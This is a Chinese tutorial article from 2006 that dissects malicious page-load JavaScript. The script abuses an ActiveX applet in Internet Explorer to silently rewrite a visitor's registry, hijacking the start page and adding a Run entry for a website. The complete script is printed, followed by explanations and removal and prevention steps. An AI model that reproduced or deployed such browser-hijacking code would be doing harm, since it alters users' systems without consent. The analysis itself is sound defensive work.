分享
 
 
 

解剖恶意网站代码,正常IE访问可能被修改本地注册表信息

王朝html/css/js·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首 页被篡改了,而且每次开机后IE都会自动弹出访问该网站。

我们通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复 的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改 来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。

本代码由子昂轩编辑制作,仅供学习研究之用。

<!-- Begin set start page brought to u by JavaHouse.126.com-->

<SCRIPT language=JavaScript>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXCompon

ent></APPLET>");

function f(){

try

{

//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

//以下是检测用户注册表并修改相应的键值

{

Shl.RegWrite ("HKCU\Software\Microsoft\

Internet Explorer\Main\Start Page", "http://JavaHouse.126.com/"

);//修改用户InternetExplorer浏览器的默认主页

Shl.RegWrite ("HKCU\Software\Microsoft\Windows\

CurrentVersion\Run\", "http://JavaHouse.126.com/");//建立默认启

动页面程序,保证用户每次启动计算机首先打开该页面

var expdate = new Date((new Date()).getTime() + (1));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path

=/;"

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作

}

init();</SCRIPT>

<!--End set start page -->

首先,我们来分析一下这句代码,程序中使用:

Shl.RegWrite ("HKCU\Software\

Microsoft\Internet Explorer\Main\Start Page",

"http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页

其实就是修改用户注册表中

HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorermain文件夹下Sta

rt Page的键值,

这里面的值就是存放的IE浏览器的默认主页,如果你想改回来,把上面的相应代码改为

Shl.RegWrite ("HKCU\Software\Microsoft\

Internet Explorer\Main\Start Page", "about:blank");

就可以实现打开IE是空白页了;当然你也不用动注册表,直接打开IE修改Internet 选项中的主页更方便些。

再来看看上述程序最卑鄙的一句代码:

Shl.RegWrite ("HKCU\Software\Microsoft\

Windows\CurrentVersion\Run\","http://JavaHouse.126.com/");//

建立默认启动页面程序,保证用户每次启动计算机首先打开该页面

通过在注册表中

HKEY_CURRENT_USERSoftwareMicrosoftWindows

CurrentVersionRun

文件夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自 动打开,但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来 都放到Run这个文件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,

删除Run下面的相应项就可以了;二是在“开始”-“运行”处输入"msconfig",把启 动下面相应的那个网站前面的"√"去掉,重新启动计算机就可以了。

避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉ActiveX, 当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一 种办法就是对于Windows98打开C:WINDOWSJAVAPackagesCVLV1NBB.ZIP,把Acti

veXComponent.class删掉;对于WindowsMe打开C:WINDOWSJAVAPackages5NZVFPF 1.ZIP,把ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页 的。

最后说说在首页使用这类代码的网站的目的,像在启动计算机直接打开网页的做法 我认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主 页每次进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一 个找不到的主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那 种网站再次修改(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人 讨厌。

以上代码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效( 因为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有